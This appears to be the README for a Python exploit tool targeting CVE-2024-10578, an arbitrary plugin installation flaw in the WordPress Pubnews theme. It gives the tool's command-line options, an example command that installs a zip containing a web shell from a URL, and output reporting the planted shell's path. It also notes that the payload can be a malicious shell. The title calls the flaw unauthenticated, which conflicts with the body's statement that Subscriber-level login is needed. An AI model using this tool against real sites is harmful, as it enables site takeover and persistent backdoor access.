
Pubnews <= 1.0.7 - 未認証の任意プラグインインストール
WordPress 用 Pubnews テーマは、1.0.7 までの全バージョンにおいて、pubnews_importer_plugin_action_for_notice() 関数の権限チェックが欠如しているため、認可されていない任意のプラグインインストールに対して脆弱です。この脆弱性により、Subscriber レベル以上のアクセス権を持つ認証済み攻撃者が任意のプラグインをインストールでき、そのプラグインを利用して他の脆弱性を悪用することが可能になります。
このスクリプトは、Pubnews テーマの脆弱性を悪用して、提供された URL から任意のプラグインをインストールします。プラグインには、悪意のあるシェルやその他のペイロードを含めることができます。
CVE-2024-10578.py [-h] -u URL -un USERNAME -p PASSWORD -url_zip PLUGIN_URL
Pubnews <= 1.0.7 - Unauthenticated Arbitrary Plugin Installation # By Nxploited, Khaled alenazi
options:
-h, --help show this help message and exit
-u, --url URL The URL of the WordPress site
-un, --username USERNAME
The username for WordPress login
-p, --password PASSWORD
The password for WordPress login
-url_zip, --plugin_url PLUGIN_URL
The plugin URL to install (must be a zip file with the shell injected inside)
python
CVE-2024-10578.py -u http://target/wordpress -un admin -p admin -url_zip http://target/shell1.zip
[+] Logged in successfully.
[+] Admin _wpnonce extracted: 6bf22371ab
[+] Plugin installed successfully.
[+] Plugin extracted. You can find the shell here: /wp-content/plugins/shell1/
このスクリプトは教育目的のみを意図しています。作者は、このスクリプトを違法行為に使用することを容認しません。責任を持って、明示的な許可を得たシステムでのみ使用してください。
作者: Nxploited | Khaled Alenazi